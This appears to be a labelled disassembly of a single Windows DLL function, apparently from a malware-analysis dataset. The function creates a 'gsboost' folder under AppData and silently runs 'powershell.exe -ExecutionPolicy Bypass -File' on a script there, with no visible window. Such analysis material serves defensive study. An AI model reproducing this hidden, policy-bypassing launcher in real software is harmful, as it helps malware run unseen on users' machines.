Function at 0x10001170
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10002756
mov eax, dword fs:[0]
push eax
sub esp, 0x2cc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x10001251
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.100015f0
push str.gsboost
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.10001720
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 8
jb 0x10001232
mov edx, dword [ebp - 0x2d8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001228
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001228
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10001980
add esp, 8
xor eax, eax
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 7
mov word [ebp - 0x2d8], ax
jmp 0x10001261
push 0x10003170
lea ecx, [ebp - 0x230]
call fcn.100015f0
mov dword [ebp - 4], 1
cmp dword [ebp - 0x220], 0
je 0x10001507
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push 0
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, dword [ebp - 0x220]
mov eax, 0x7ffffffe
sub eax, edx
mov dword [ebp - 0x2a0], edx
cmp eax, 0x2e
jb 0x10001565
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
lea ecx, [edx + 0x2e]
mov dword [ebp - 0x2c0], 0
cmovae eax, dword [ebp - 0x230]
lea ebx, [ebp - 0x2c0]
mov esi, 7
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2a4], ecx
cmp ecx, esi
jbe 0x10001396
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x1000131d
mov eax, 0x7fffffff
mov esi, 0x7ffffffe
add eax, eax
jmp 0x1000133e
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x1000156a
add eax, eax
cmp eax, 0x1000
jb 0x10001371
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x1000156a
push ecx
call fcn.100019b1
add esp, 4
test eax, eax
je 0x1000141f
mov ecx, dword [ebp - 0x2a4]
lea ebx, [eax + 0x23]
mov edx, dword [ebp - 0x2a0]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x10001390
test eax, eax
je 0x1000138e
push eax
call fcn.100019b1
mov ecx, dword [ebp - 0x2a4]
add esp, 4
mov edx, dword [ebp - 0x2a0]
mov ebx, eax
jmp 0x10001390
xor ebx, ebx
mov dword [ebp - 0x2c0], ebx
mov dword [ebp - 0x2b0], ecx
lea eax, [edx + edx]
mov dword [ebp - 0x2ac], esi
mov ecx, 0x17
push eax
push dword [ebp - 0x2a8]
mov esi, str.powershell.exe__ExecutionPolicy_Bypass__File__
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 0x5c]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x2a0]
xor ecx, ecx
mov word [ebx + eax*2 + 0x5c], cx
push str.powershell.ps1_
lea edx, [ebp - 0x2c0]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call fcn.10001720
mov ecx, dword [ebp - 0x2ac]
add esp, 0x10
cmp ecx, 8
jb 0x1000142f
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001425
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001425
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10001980
add esp, 8
push 0x40
lea eax, [ebp - 0x288]
mov dword [ebp - 0x28c], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x29c]
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
cmovae eax, dword [ebp - 0x248]
push ecx
lea ecx, [ebp - 0x28c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100014ae
push 0xffffffffffffffff
push dword [ebp - 0x29c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x29c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x298]
call esi
mov ecx, dword [ebp - 0x234]
cmp ecx, 8
jb 0x100014ea
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100014e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001539
push ecx
push edx
call fcn.10001980
add esp, 8
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x10001549
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000153f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000153f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10001980
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10001972
mov esp, ebp
pop ebp
ret
call fcn.10001160
call fcn.100010c0
int3